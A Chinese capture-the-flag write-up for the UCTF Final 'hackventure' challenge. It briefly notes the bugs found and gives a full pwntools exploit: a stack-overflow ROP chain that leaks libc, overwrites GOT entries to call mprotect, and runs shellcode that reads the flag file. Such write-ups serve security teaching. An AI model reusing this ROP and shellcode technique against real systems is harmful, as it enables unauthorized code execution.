抽出世间将UCTF Final中的hackventure给记录下,算是个总结。题目是有一个游戏,游戏地图是随机生成的,用户可以攻打Server,如果3个Server都被攻占的话,那么用户就赢了,但是并没有Flag。

  题目以及IDB见:http://files.cnblogs.com/files/wangaohui/hackventure-blog.zip

  题目是一个C++的题目,结构体也不少,把结构体都建立后,逆起来轻松不少。把题目逆了一遍后,首先发现的是个整数溢出,然而并不知道怎么利用。其次发现的还有对空指针进行解引用造成的崩溃,以及free后全局变量区指针并没有清零等。但是这些都不知道怎么利用。后来发现一个栈溢出,而且溢出的空间很大,完全可以来做ROP,在程序本身的_libc_csu_init里有好用的通用Gadget。

  漏洞位置:

EXP:

import sys
from pwn import *
#context.log_level='debug'
#by wah exe = 'hackventure'
ip = '127.0.0.1'
port = 10001
#ip = '10.250.100.12'
#port = 6666 me = [0,0]
home = [0,0]
store = [0,0]
server = [[0,0],[0,0],[0,0]] #100 10.10.10.1
#200 10.1.11.1
server100 = [0,0]
server200 = [0,0]
server300 = [0,0] def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!')
def walk(f,t):
if f==t:
return
global r
x= t[0]-f[0]
y = t[1]-f[1]
#print f,t
#print x,y
if x<0:
for i in range(-x):
r.sendline('go up')
elif x>0:
for i in range(x):
r.sendline('go down')
else:
pass
if y<0:
for i in range(-y):
r.sendline('go left')
elif y>0:
for i in range(y):
r.sendline('go right')
else:
pass def getinfo():
global r,me,home,store,server,server100,server200,server300
r.recvuntil('+--------------------------------+\n')
matrix = r.recvuntil('\n+--------------------------------+\n')
print matrix
#print binascii.hexlify(matrix)
sr = []
for i in range(len(matrix)):
if matrix[i] == 'T':
s = i
elif matrix[i] == 'S':
sr.append(i)
elif matrix[i] == 'H':
h = i
elif matrix[i] == '*':
m = i
else:
pass
me[1] = m%35
me[0] = m/35+1 home[1] = h%35
home[0] = h/35+1 store[1] = s%35
store[0] = s/35+1 server[0][1] = sr[0]%35
server[0][0] = sr[0]/35+1 server[1][1] = sr[1]%35
server[1][0] = sr[1]/35+1 server[2][1] = sr[2]%35
server[2][0] = sr[2]/35+1 walk(me,server[0])
me = server[0]
r.sendline('explore')
r.recvuntil('IP: ')
ip = r.recvuntil('\n').strip()
#print ip
r.recvuntil('HP: ')
hp = r.recvuntil('\n').strip()
if ip == '10.10.10.1':
server100 = server[0]
elif ip == '10.1.11.1':
server200 = server[0]
else:
server300 = server[0]
data = r.recvuntil('$ ') walk(me,server[1])
me = server[1]
r.sendline('explore')
r.recvuntil('IP: ')
ip = r.recvuntil('\n').strip()
#print ip
r.recvuntil('HP: ')
hp = r.recvuntil('\n').strip()
if ip == '10.10.10.1':
server100 = server[1]
elif ip == '10.1.11.1':
server200 = server[1]
else:
server300 = server[1]
data = r.recvuntil('$ ') walk(me,server[2])
me = server[2]
r.sendline('explore')
r.recvuntil('IP: ')
ip = r.recvuntil('\n').strip()
#print ip
r.recvuntil('HP: ')
hp = r.recvuntil('\n').strip()
if ip == '10.10.10.1':
server100 = server[2]
elif ip == '10.1.11.1':
server200 = server[2]
else:
server300 = server[2]
data = r.recvuntil('$ ')
#print server100,server200,server300
def local_attack():
r.sendline('local_attack')
def remote_attack(ip):
r.sendline('remote_attack ' + ip)
def remote_attacks(ips):
r.sendline('remote_attacks ' + ips) r = remote(ip,port)
r.sendline('map')
getinfo() walk(me,server100)
me=server100 local_attack()
local_attack()
r.recvuntil('You have compromised server 10.10.10.1, good job!\n')
r.sendline('')
r.recvuntil('Name? ')
r.sendline('wah')
#remote_attack('10.1.11.1') r.sendline('status')
r.recvuntil('*** Hacker\'s Profile ***')
r.recvuntil('$ ') walk(me,home)
me=home r.sendline('goodnight')
walk(me,server100)
me=server100
getpid() sc = '''call a;
a:pop rcx;
add rcx,35
push rcx
ret
.string "/home/flag/hackventure/flag";
lea rdi,[rcx-28];
mov rax,2;
mov rsi,0;
syscall;
mov rdi,rax;
xor rax,rax;
mov rsi,0x605200;
mov rdx,16;
syscall;
mov rdi,1;
mov rsi,0x605200;
mov rdx,16;
mov rax,1;
syscall;
mov rax,60;
xor rdi,rdi;
syscall;'''
shellcode=asm(sc,arch='amd64',os='linux') fakeebp = 0xaaaaaaaaaaaaaaaa
pop_rdi_ret = 0x4029F3
pop_rsi_r15_ret = 0x4029F1
atoi_got = 0x604098
puts_plt = 0x400840
call_getstring = 0x4014BC
#buf_to_store_mprotect = 0x604600
buf_to_store_mprotect_gets = 0x6040A0
buflen = 18
rubbish = 0xaaaaaaaa
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4029EA
call_mprotect = 0x4029D0
memo_to_exec = 0x604000
memo_len = 0x3000
memo_prot = 0x7
shellcode_addr = 0x605000
shellcode_len = 0x1000
plt_jmp_gets = 0x400940 rop = ''
rop += p64(pop_rdi_ret)
rop += p64(atoi_got)
rop += p64(puts_plt) rop += p64(pop_rdi_ret)
rop += p64(buf_to_store_mprotect_gets)
rop += p64(pop_rsi_r15_ret)
rop += p64(buflen)
rop += p64(rubbish)
rop += p64(call_getstring)
rop += 'a'*0x68 rop += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
rop += p64(0)
rop += p64(1)
rop += p64(buf_to_store_mprotect_gets)
rop += p64(memo_prot)
rop += p64(memo_len)
rop += p64(memo_to_exec)
rop += p64(call_mprotect) rop += p64(rubbish)
rop += p64(0)#rbx
rop += p64(0)#rbp
rop += p64(0)#r12
rop += p64(0)#r13
rop += p64(0)#r14
rop += p64(0)#r15
rop += p64(pop_rdi_ret)
rop += p64(shellcode_addr)
rop += p64(plt_jmp_gets)
rop += p64(shellcode_addr) fuck1 = p64(fakeebp) + rop
remote_attacks('1,2,3,4,'+fuck1)
walk(me,server300)
local_attack()
local_attack()
local_attack()
local_attack()
local_attack()
r.recvuntil('Game Over!\n')
data = r.recvuntil('\n')[:-1]
atoi = u64(data + (8-len(data))*'\x00')
log.info("Leaked atoi: "+hex(atoi)) mprotect = atoi+0xbaa30
gets = atoi +0x354d0
data = p64(mprotect) + p64(gets)
#overwrite got to mprotect and gets
r.sendline(data)
#write shellcode
r.sendline(shellcode)
r.recvuntil('Please own this server first.\n')
flag = r.recv(16)
print flag
r.close()

UCTF Final-Hackventure的更多相关文章

  1. java抽象、接口 和final

    抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...

  2. Java内部类final语义实现

    本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...

  3. Java关键字final、static

    一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...

  4. JavaSE 之 final 初探

    我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然.  1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...

  5. PHP的final关键字、static关键字、const关键字

    在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...

  6. final修饰符

    final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...

  7. 浅析Java中的final关键字(转载)

    自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...

  8. java关键字extends(继承)、Supe(父类引用空间)、 This(方法调用者对象)、Instanceof(实例类型-判断对象是否属于某个类)、final(最终)、abstract(抽象) 、interface(接口)0

    java 继承使用关键字extends   继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...

  9. files list file for package 'xxx' is missing final newline

    #!/usr/bin/python # 8th November, 2009 # update manager failed, giving me the error: # 'files list f ...

随机推荐

  1. 『转载』Debussy快速上手(Verdi相似)

    『转载』Debussy快速上手(Verdi相似) Debussy 是NOVAS Software, Inc(思源科技)发展的HDL Debug & Analysis tool,这套软体主要不是 ...

  2. DOM事件处理程序-事件对象-键盘事件

    事件流: 事件流--描述的是从页面中接受事件的顺序 IE  ---事件冒泡流:即事件最开始由最具体的元素(文档中嵌套层次最深的那个节点)接收,然后逐级向上传播至最不具体的那个节点(文档). Netsc ...

  3. 纯CSS实现带小角的对话框式下拉菜单

    最近公司首页样式重写,头部下拉菜单改为了带小角的对话框式下拉菜单: 很多人可能会用图片,事实上纯CSS就能够实现: HTML: <!DOCTYPE html> <html lang= ...

  4. repeater截取字数

    <%# Eval("ArticleName").ToString().Length > 14 ? Eval("ArticleName").ToStr ...

  5. android 隔几秒再执行

    今天做项目,需要前面的方法执行完等待2秒在关闭当前页面.之前使用的是Thread.sleep(2000)发现根本没有作用.经过多次尝试,发现需要使用以下方法才能实现: new Thread(){ pu ...

  6. Tomcat6+nginx集群,达到负载均衡和session复制

    nginx+tomcat做web项目集群,达到负载均衡.故障转移.session复制功能. 1.nginx配置文件见上一篇“nginx配置文件(反向代理+集群+动静分离)” 2.tomcat集群,修改 ...

  7. UI基础视图----UIImageView总结

    UIImageView和UILabel一样,也是UIKit框架中非常常用的视图类.继承关系和UILabel完全一致(都是继承于UIView),功能也相似(用户交互都默认为关,主要用于展示),只不过UI ...

  8. C#按钮打开浏览器,网址

    1.加入 using System.Diagnostics; 2. private void button_main_baidu_Click(object sender, EventArgs e) { ...

  9. MFC下的aero效果学习笔记

    最近想在MFC中用下aero 首先参考了 http://blog.csdn.net/polytechnic/article/details/5696797 中的一系列的步骤,进行了初步学习 但是对于其 ...

  10. Mysql学习(慕课学习笔记1)启动、登录及常用命令

    Mysql学习 启动数据库服务 net start mysql    (不能加分号!!!!) 关闭数据库服务 net stop mysql 登录数据库 mysql -uroot -p -P3306 - ...